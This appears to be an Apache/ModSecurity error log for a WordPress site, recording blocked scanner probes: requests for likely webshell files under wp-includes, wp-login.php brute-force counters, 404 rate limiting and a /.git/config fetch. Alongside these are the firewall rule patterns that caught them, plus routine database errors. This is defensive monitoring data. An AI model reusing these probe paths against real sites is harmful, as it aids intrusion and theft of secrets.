[Sun Dec 07 02:05:44.002903 2025] [:error] [pid 44818:tid 44854] [client 74.176.186.152:41851] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aTRweFM8svkkGGrcPqPAlAAAAEM"], referer: https://duckduckgo.com/
[Sun Dec 07 02:05:44.250016 2025] [:error] [pid 44819:tid 44884] [client 74.176.186.152:49170] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aTRweAOul9Pv7KHTFsiCLwAAAIY"], referer: https://www.yahoo.com/
[Sun Dec 07 02:05:44.527614 2025] [:error] [pid 44908:tid 44913] [client 74.176.186.152:41837] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aTRweModqHTdtmkcdXDadwAAAMM"], referer: https://www.yahoo.com/
[Sun Dec 07 02:05:44.783858 2025] [:error] [pid 64409:tid 64468] [client 74.176.186.152:49178] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aTRweEGzBNWhWo-aXwRATAAAAQc"], referer: https://www.google.fr/
[Sun Dec 07 02:05:46.407691 2025] [autoindex:error] [pid 44817:tid 44824] [client 74.176.186.152:53432] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 07 02:05:46.540172 2025] [autoindex:error] [pid 44817:tid 44836] [client 74.176.186.152:53432] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Dec 07 02:05:46.654902 2025] [:error] [pid 44817:tid 44825] [client 74.176.186.152:53432] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/search/index.php"] [unique_id "aTRweoq9cLyU8e8Cr9hOBgAAAAI"], referer: https://www.google.de/
[Sun Dec 07 02:05:46.977809 2025] [:error] [pid 44819:tid 44896] [client 74.176.186.152:38683] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aTRwegOul9Pv7KHTFsiCOQAAAJI"], referer: https://www.google.de/
[Sun Dec 07 02:05:47.248966 2025] [:error] [pid 44817:tid 44839] [client 74.176.186.152:64608] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aTRwe4q9cLyU8e8Cr9hOBwAAABA"], referer: https://www.google.co.uk/
[Sun Dec 07 02:05:47.477621 2025] [:error] [pid 29378:tid 29386] [client 74.176.186.152:64559] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aTRwe60NYr_cN2P9iw6_SAAAAUY"], referer: https://www.google.de/
[Sun Dec 07 02:05:47.877357 2025] [:error] [pid 29378:tid 29390] [client 74.176.186.152:64553] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aTRwe60NYr_cN2P9iw6_TgAAAUo"], referer: https://www.google.de/
[Sun Dec 07 02:05:52.417694 2025] [autoindex:error] [pid 44818:tid 44855] [client 74.176.186.152:49887] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Dec 07 02:05:52.544397 2025] [autoindex:error] [pid 44818:tid 44867] [client 74.176.186.152:49887] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Dec 07 02:05:52.666249 2025] [autoindex:error] [pid 44818:tid 44869] [client 74.176.186.152:49887] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 07 02:05:52.787425 2025] [autoindex:error] [pid 44818:tid 44860] [client 74.176.186.152:49887] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 07 02:05:52.909193 2025] [autoindex:error] [pid 44818:tid 44875] [client 74.176.186.152:49887] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 07 02:06:00.665524 2025] [:error] [pid 29378:tid 29385] [client 74.176.186.152:50513] [client 74.176.186.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.176.186.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTRwiK0NYr_cN2P9iw6_ZwAAAUU"], referer: https://www.bing.com/
[Sun Dec 07 02:06:06.320215 2025] [:error] [pid 29378:tid 29404] [client 74.176.186.152:50513] [client 74.176.186.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.176.186.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTRwjq0NYr_cN2P9iw6_cQAAAVg"], referer: https://duckduckgo.com/
[Sun Dec 07 03:21:34.619775 2025] [:error] [pid 29378:tid 29400] [client 46.105.124.216:46192] [client 46.105.124.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.105.124.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTSCPq0NYr_cN2P9iw7dHAAAAVQ"]
[Sun Dec 07 04:27:33.417566 2025] [:error] [pid 34108:tid 34132] [client 144.202.52.51:41390] [client 144.202.52.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.202.52.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTSRtaLvdvAppF-gXosA8AAAABM"]
[Sun Dec 07 05:03:21.836029 2025] [autoindex:error] [pid 7089:tid 7103] [client 45.146.55.21:50199] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:03:22.266411 2025] [autoindex:error] [pid 7089:tid 7115] [client 45.146.55.21:50199] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:03:22.705856 2025] [autoindex:error] [pid 7089:tid 7095] [client 45.146.55.21:50199] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:03:23.141989 2025] [autoindex:error] [pid 7089:tid 7110] [client 45.146.55.21:50199] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:33:37.688740 2025] [:error] [pid 7273:tid 7293] [client 107.180.252.236:46324] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.252.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTShMfpR7YTD7JcHjhGzNwAAAVI"]
[Sun Dec 07 05:46:33.626036 2025] [:error] [pid 13234:tid 13260] [client 178.156.190.71:32786] [client 178.156.190.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.156.190.71, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTSkOe6_dquQqQ60IZ-8ZQAAAZM"]
[Sun Dec 07 05:51:07.345641 2025] [:error] [pid 34109:tid 34155] [client 136.144.43.231:28723] [client 136.144.43.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.43.231, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTSlS4jE_vucgM_xD4QRzAAAAE8"]
[Sun Dec 07 05:51:21.794996 2025] [:error] [pid 34110:tid 34171] [client 136.144.43.232:62701] [client 136.144.43.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.43.232, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTSlWQndtmtsHiXHBO2xfQAAAIQ"]
[Sun Dec 07 06:38:18.848665 2025] [:error] [pid 7273:tid 7275] [client 137.184.64.22:55232] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.64.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTSwWvpR7YTD7JcHjhHQwQAAAUA"]
[Sun Dec 07 07:49:04.967995 2025] [:error] [pid 7273:tid 7278] [client 5.183.189.74:44610] [client 5.183.189.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.183.189.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTTA8PpR7YTD7JcHjhHmBQAAAUM"]
[Sun Dec 07 09:00:32.864311 2025] [:error] [pid 7089:tid 7096] [client 167.86.80.181:48084] [client 167.86.80.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.86.80.181, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTTRsIJPZ-pZM-y51NErGQAAAQU"]
[Sun Dec 07 09:28:33.339134 2025] [:error] [pid 25601:tid 25635] [client 5.252.55.178:55531] [client 5.252.55.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTTYQatsSIqGPs4YVxHw4gAAAIA"]
[Sun Dec 07 09:28:34.484019 2025] [:error] [pid 25601:tid 25649] [client 5.252.55.178:55531] [client 5.252.55.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTTYQqtsSIqGPs4YVxHxCAAAAI4"]
[Sun Dec 07 09:28:35.175204 2025] [:error] [pid 25601:tid 25647] [client 5.252.55.178:54505] [client 5.252.55.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTTYQ6tsSIqGPs4YVxHxJAAAAIw"]
[Sun Dec 07 09:28:35.804924 2025] [:error] [pid 25600:tid 25617] [client 5.252.55.178:55531] [client 5.252.55.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTTYQ4X3SVrXRURpt5L3SQAAAEo"]
[Sun Dec 07 09:28:36.852937 2025] [:error] [pid 25694:tid 25703] [client 5.252.55.178:62019] [client 5.252.55.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTTYREf7996cewJ5N2-3NQAAAQc"]
[Sun Dec 07 09:28:36.974119 2025] [:error] [pid 25600:tid 25623] [client 5.252.55.178:54873] [client 5.252.55.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTTYRIX3SVrXRURpt5L3UQAAAFA"]
[Sun Dec 07 09:28:38.143994 2025] [:error] [pid 25602:tid 25680] [client 5.252.55.178:60953] [client 5.252.55.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTTYRhMayYLriq9gRdeIIgAAANI"]
[Sun Dec 07 09:28:38.458624 2025] [:error] [pid 25694:tid 25718] [client 5.252.55.178:49343] [client 5.252.55.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTTYRkf7996cewJ5N2-3aAAAARY"]
[Sun Dec 07 09:28:39.968913 2025] [:error] [pid 25602:tid 25667] [client 5.252.55.178:55635] [client 5.252.55.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTTYRxMayYLriq9gRdeINwAAAMU"]
[Sun Dec 07 09:28:41.572905 2025] [:error] [pid 25600:tid 25609] [client 5.252.55.178:61600] [client 5.252.55.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTTYSYX3SVrXRURpt5L3iAAAAEI"]
[Sun Dec 07 09:59:54.198560 2025] [:error] [pid 36068:tid 36089] [client 164.132.169.114:39100] [client 164.132.169.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.169.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTTfmlGuxqM4ZYob8lN4SwAAABM"]
[Sun Dec 07 11:01:22.781391 2025] [:error] [pid 36068:tid 36094] [client 45.82.122.124:38732] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.82.122.124, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTTuAlGuxqM4ZYob8lON6wAAABg"]
[Sun Dec 07 11:31:31.836714 2025] [proxy_fcgi:error] [pid 25694:tid 25697] [client 17.241.75.138:34516] AH01071: Got error 'PHP message: PHP Warning:  mysqli_query(): (HY000/2006): MySQL server has gone away in /home/vetstars/public_html/wp-includes/class-wpdb.php on line 2351'
[Sun Dec 07 12:09:34.934802 2025] [:error] [pid 25600:tid 25630] [client 196.40.97.169:55700] [client 196.40.97.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.40.97.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTT9_oX3SVrXRURpt5IbggAAAFc"]
[Sun Dec 07 12:14:31.136597 2025] [proxy_fcgi:error] [pid 25600:tid 25608] [client 103.4.122.14:43370] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES ('wp-includes/blocks/tag-cloud/editor.min.css','/home/vetstars/public_html/wp-includes/blocks/tag-cloud/editor.min.css',UNHEX('7865f9cb8591e8afb93c10d7ca2f6559'),1,UNHEX('33FBF2F7866CD84A50D34396103C5D30'),UNHEX('EE56291A1C844DEC70B2A8767EE90650C990C99E0B867FD311488EDFE787E744')),('wp-includes/blocks/tag-cloud/style-rtl.css','/home/vetstars/public_html/wp-includes/blocks/tag-cloud/style-rtl.css',UNHEX('348d714579560753032ff4cc6f127d98'),1,UNHEX('088B4D477589B08CBCB24DAC8D69EE9B'),UNHEX('CAA6C8696937BC17EF41B3512728FACB0B262B6C841DCBF0305E887C6C1C84BE')),('wp-includes/blocks/tag-cloud/style-rtl.min.css','/home/vetstars/public_html/wp-includes/blocks/tag-cloud/style-rtl.min.css',UNHEX('6530d338ccce112f15a23b117485030c'),1,UNHEX('061511FD0D215166AFE34B443A763CA1'),UNHEX('70E49310344A2900DCD6226BE8578B10F0F2179388F...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('lastScanCompleted', 'Insert query failed: INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES (\\'wp-includes/blocks/tag-cloud/editor.min.css\\',\\'/home/vetstars/public_html/wp-includes/blocks/tag-cloud/editor.min.css\\',UNHEX(\\'7865f9cb8591e8afb93c10d7ca2f6559\\'),1,UNHEX(\\'33FBF2F7866CD84A50D34396103C5D30\\'),UNHEX(\\'EE56291A1C844DEC70B2A8767EE90650C990C99E0B867FD311488EDFE787E744\\')),(\\'wp-includes/blocks/tag-cloud/style-rtl.css\\',\\'/home/vetstars/public_html/wp-includes/blocks/tag-cloud/style-rtl.css\\',UNHEX(\\'348d714579560753032ff4cc6f127d98\\'),1,UNHEX(\\'088B4D477589B08CBCB24DAC8D69EE9B\\'),UNHEX(\\'CAA6C8696937BC17EF41B3512728FACB0B262B6C841DCBF0305E887C6C1C84BE\\')),(\\'wp-includes/blocks/tag-cloud/style-rtl.min.css\\',\\'/home/vetstars/public_html/wp-includes/blocks/tag-cloud/style-rtl.min.css\\',UNHEX(\\'6530d33...'
[Sun Dec 07 13:22:12.300319 2025] [:error] [pid 36068:tid 36092] [client 64.23.173.172:61730] [client 64.23.173.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.173.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTUPBFGuxqM4ZYob8lO_3wAAABY"]
[Sun Dec 07 13:22:16.141594 2025] [:error] [pid 25694:tid 25718] [client 64.23.173.172:58077] [client 64.23.173.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.173.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTUPCEf7996cewJ5N2_8KgAAARY"]
[Sun Dec 07 14:01:32.695035 2025] [:error] [pid 25602:tid 25673] [client 64.23.173.172:50580] [client 64.23.173.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.173.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTUYPBMayYLriq9gRdfIkQAAAMs"]
[Sun Dec 07 14:02:33.987372 2025] [:error] [pid 36068:tid 36073] [client 85.209.135.111:34682] [client 85.209.135.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aTUYeVGuxqM4ZYob8lPNHQAAAAM"]
[Sun Dec 07 14:07:21.458331 2025] [:error] [pid 25694:tid 25715] [client 64.23.173.172:50179] [client 64.23.173.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.173.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTUZmUf7996cewJ5N28G4AAAARM"]
